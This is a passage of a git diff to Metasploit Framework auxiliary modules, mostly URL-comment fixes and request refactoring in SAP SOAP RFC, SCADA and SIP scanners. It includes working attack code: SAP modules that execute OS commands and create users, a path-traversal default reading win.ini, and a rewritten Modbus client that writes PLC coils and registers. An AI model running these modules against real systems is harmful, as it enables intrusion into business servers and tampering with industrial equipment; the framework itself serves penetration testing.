'/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' =>{ + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' } }) if res and res.code != 500 and res.code != 200 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index b8ec123d75..a223de64af 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -94,14 +94,18 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' =>{ + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' } }) if res diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index f3978e7773..1658e8688d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 626f264648..1547c002aa 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index ec95f65519..5d5879910d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -62,17 +62,20 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_PING request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client, + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", 'data' => data, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => 'text/xml; charset=UTF-8', - 'headers' => - { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' - } - }) + 'headers' => { + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' + }, + 'vars_get' => { + 'sap-client' => client, + 'sap-language' => 'EN' + } + }) if res and res.code != 500 and res.code != 200 if res and res.body =~ /

Logon failed<\/h1>/ print_error("[SAP] #{ip}:#{rport} - login failed!") diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index d7e7ad065b..a4a058907c 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -83,19 +83,20 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => 'text/xml; charset=UTF-8', - 'headers' =>{ + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - #'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], - #'Authorization' => 'Basic ' + user_pass, - #'Content-Type' => - } - }) + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' + } + }) if res and res.code != 500 and res.code != 200 # to do - implement error handlers for each status code, 404, 301, etc. if res.body =~ /

Logon failed<\/h1>/ diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 1cf0bbc0de..e751c8e3cb 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index f60e420352..da1c3e8ec5 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,17 +70,20 @@ class Metasploit4 < Msf::Auxiliary begin vprint_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'") res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' => - { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' - } - }) + 'headers' => { + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' + } + }) if res and res.code == 200 if res.body =~ /

Logon failed<\/h1>/ vprint_error("[SAP] #{ip}:#{rport} - Logon failed") diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index bab5a4f4c7..ba75d84c16 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,16 +73,20 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' =>{ + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - } - }) + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' + } + }) if res and res.code != 500 and res.code != 200 # to do - implement error handlers for each status code, 404, 301, etc. print_error("[SAP] #{ip}:#{rport} - something went wrong!") diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index 977001c395..5536963dfc 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,14 +73,18 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' } }) if res and res.code != 500 and res.code != 200 diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 0677878b96..7e7f34eaa2 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -89,14 +89,18 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_SYSTEM_INFO request") begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' =>{ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' } }) if res and res.code != 500 and res.code != 200 diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index d02719355c..2f445ed5f9 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,14 +64,18 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), - 'headers' =>{ + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' } }) if res and res.code == 200 diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index 12fd250430..b54eb2d44e 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb index df4ffab1df..a93c3dfafe 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb index c981682352..3de56d9a43 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_version.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb index 905c90d585..0838eae12e 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb index 357a58e28a..b0a9ea2d1c 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_version.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index 5064689053..6b8acd99f2 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ - OptString.new('RFILE', [true, 'Remote File', '/boot.ini']), + OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 3]) ], self.class) diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index 7ae26efc63..17e58cca86 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index 10569838c1..d570f4281b 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index bd4f6ab6fe..70b5242414 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,74 +8,194 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Fuzzer def initialize(info = {}) super(update_info(info, - 'Name' => 'Modbus Client Utility', - 'Description' => %q{ - This module sends a command (0x06, write to one register) to a Modbus endpoint. - You can change port, IP, register to write and data to write, as well as unit-id. - - Modbus is a clear text protocol used in common SCADA systems, developed - originally as a serial-line (RS232) async protocol. It is later transformed - to IP, which is called ModbusTCP. - - There are a handful of functions which are possible to do, but this - client has only implemented the function "write value to register" (\x48). + 'Name' => 'Modbus Client Utility', + 'Description' => %q{ + This module allows reading and writing data to a PLC using the Modbus protocol. + This module is based on the 'modiconstop.rb' Basecamp module from DigitalBond, + as well as the mbtget perl script. }, - 'Author' => [ 'EsMnemon ' ], - 'References' => + 'Author' => [ - ['URL', 'http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx'] + 'EsMnemon ', # original write-only module + 'Arnaud SOULLIE ' # new code that allows read/write ], 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Nov 1 2011' - )) + 'Actions' => + [ + ['READ_COIL', { 'Description' => 'Read one bit from a coil' } ], + ['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ], + ['READ_REGISTER', { 'Description' => 'Read one word from a register' } ], + ['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ] + ], + 'DefaultAction' => 'READ_REGISTER' + )) - register_options([ - Opt::RPORT(502), - OptInt.new('UNIT_ID', [true, "ModBus Unit Identifier ", 1]), - OptInt.new('MODVALUE', [true, "ModBus value to write (data) ", 2]), - OptInt.new('REGIS', [true, "ModBus Register definition", 1002]) - ], self.class) + register_options( + [ + Opt::RPORT(502), + OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]), + OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]), + OptInt.new('UNIT_NUMBER', [false, "Modbus unit number", 1]), + ], self.class) + + end + + # a wrapper just to be sure we increment the counter + def send_frame(payload) + sock.put(payload) + @modbus_counter += 1 + sock.get_once(-1, sock.def_read_timeout) + end + + def make_payload(payload) + packet_data = [@modbus_counter].pack("n") + packet_data += "\x00\x00\x00" #dunno what these are + packet_data += [payload.size].pack("c") # size byte + packet_data += payload + + packet_data + end + + def make_read_payload + payload = [datastore['UNIT_NUMBER']].pack("c") + payload += [@function_code].pack("c") + payload += [datastore['DATA_ADDRESS']].pack("n") + payload += [1].pack("n") + make_payload(payload) + end + + def make_write_coil_payload(data) + payload = [datastore['UNIT_NUMBER']].pack("c") + payload += [@function_code].pack("c") + payload += [datastore['DATA_ADDRESS']].pack("n") + payload += [data].pack("c") + payload += "\x00" + + packet_data = make_payload(payload) + + packet_data + end + + def make_write_register_payload(data) + payload = [datastore['UNIT_NUMBER']].pack("c") + payload += [@function_code].pack("c") + payload += [datastore['DATA_ADDRESS']].pack("n") + payload += [data].pack("n") + + make_payload(payload) + end + + def handle_error(response) + case response.reverse.unpack("c")[0].to_i + when 1 + print_error("Error : ILLEGAL FUNCTION") + when 2 + print_error("Error : ILLEGAL DATA ADDRESS") + when 3 + print_error("Error : ILLEGAL DATA VALUE") + when 4 + print_error("Error : SLAVE DEVICE FAILURE") + when 6 + print_error("Error : SLAVE DEVICE BUSY") + else + print_error("Unknown error") + end + return + end + + def read_coil + @function_code = 0x1 + print_status("Sending READ COIL...") + response = send_frame(make_read_payload) + if response.nil? + print_error("No answer for the READ COIL") + return + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + value = response[9].unpack("c")[0] + print_good("Coil value at address #{datastore['DATA_ADDRESS']} : #{value}") + else + print_error("Unknown answer") + end + end + + def read_register + @function_code = 3 + print_status("Sending READ REGISTER...") + response = send_frame(make_read_payload) + if response.nil? + print_error("No answer for the READ REGISTER") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + value = response[9..10].unpack("n")[0] + print_good("Register value at address #{datastore['DATA_ADDRESS']} : #{value}") + else + print_error("Unknown answer") + end + end + + def write_coil + @function_code = 5 + if datastore['DATA'] == 0 + data = 0 + elsif datastore['DATA'] == 1 + data = 255 + else + print_error("Data value must be 0 or 1 in WRITE_COIL mode") + return + end + print_status("Sending WRITE COIL...") + response = send_frame(make_write_coil_payload(data)) + if response.nil? + print_error("No answer for the WRITE COIL") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + print_good("Value #{datastore['DATA']} successfully written at coil address #{datastore['DATA_ADDRESS']}") + else + print_error("Unknown answer") + end + end + + def write_register + @function_code = 6 + if datastore['DATA'] < 0 || datastore['DATA'] > 65535 + print_error("Data to write must be an integer between 0 and 65535 in WRITE_REGISTER mode") + return + end + print_status("Sending WRITE REGISTER...") + response = send_frame(make_write_register_payload(datastore['DATA'])) + if response.nil? + print_error("No answer for the WRITE REGISTER") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + print_good("Value #{datastore['DATA']} successfully written at registry address #{datastore['DATA_ADDRESS']}") + else + print_error("Unknown answer") + end end def run - trans_id ="\x21\x00" - proto_id ="\x00\x00" - len ="\x00\x06" - func_id ="\x06" - - #For debug: MODVALUE=19276 REGIS=18762, UNIT_ID=71 - #trans_id="\x41\x42" - #proto_id="\x43\x44" - #len="\x45\x46" - #func_id="\x48" - - sploit = trans_id - sploit += proto_id - sploit += len - sploit += [datastore['UNIT_ID']].pack("C") - sploit += func_id - sploit += [datastore['REGIS']].pack("S").reverse - sploit += [datastore['MODVALUE']].pack("S").reverse - - connect() - sock.put(sploit) - sock.get_once - disconnect() + @modbus_counter = 0x0000 # used for modbus frames + connect + case action.name + when "READ_COIL" + read_coil + when "READ_REGISTER" + read_register + when "WRITE_COIL" + write_coil + when "WRITE_REGISTER" + write_register + else + print_error("Invalid ACTION") + end + disconnect end end - - -=begin -MODBUS: 10 00 00 00 00 06 01 06 03 ea 00 02 -tested on a SAIA PCD1.M2 -scapy - even with source-IP - sploit="\x21\x00\x00\x00\x00\x06\x01\x06\x03\xea\x00\x02" - ip=IP(dst="172.16.10.10",src="172.16.10.155",proto=6,flags=2) - tcp=TCP(dport=509) - send(ip/tcp/sploit) - -=end diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 4a4a68ed07..2006bf8c04 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index de4e0723d9..c584b0e939 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary packet << travs # Path traversal packet << "\x00" sock.put(packet) - response = sock.get_once(5, 1) + response = sock.get_once(5, 1) || '' if response.unpack("C").first != 0x78 print_error "#{ip}:#{rport} - Error opening file" @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary packet << stream # stream packet << "\x00" * 7 sock.put(packet) - response = sock.get_once(5, 1) + response = sock.get_once(5, 1) || '' if response.unpack("C").first != 0x79 print_error "#{ip}:#{rport} - Error getting the file length" @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary response = "" while response.length < 0x7ac # Packets of 0x7ac (header (0x9) + block of data (0x7a3)) - response << sock.get_once(0x7ac-response.length, 5) + response << sock.get_once(0x7ac-response.length, 5) || '' end if response.unpack("C").first != 0x98 print_error "#{ip}:#{rport} - Error reading the file, anyway we're going to try to finish" @@ -126,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary packet << "\x7B" packet << "\x00" * 11 sock.put(packet) - response = sock.get_once(-1, 1) + response = sock.get_once(-1, 1) || '' if response.unpack("C").first != 0x7B print_error "#{ip}:#{rport} - Error closing file file, anyway we're going to try to finish" end diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index 4a54223527..be7552852f 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index 5adc7d5f16..fc800f72eb 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index b8cd0d8a44..01dc953c4e 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -1,16 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary - + include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::UDPScanner + include Msf::Exploit::Remote::SIP def initialize super( @@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), - OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), - Opt::RPORT(5060), - Opt::CHOST, - Opt::CPORT(5060) + OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']), + Opt::RPORT(5060) ], self.class) end - - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i + def scanner_prescan(batch) + print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @res = {} end - # Operate on an entire batch of hosts at once - def run_batch(batch) - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( - { - 'LocalHost' => datastore['CHOST'] || nil, - 'LocalPort' => datastore['CPORT'].to_i, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - } - ) - add_socket(udp_sock) - - 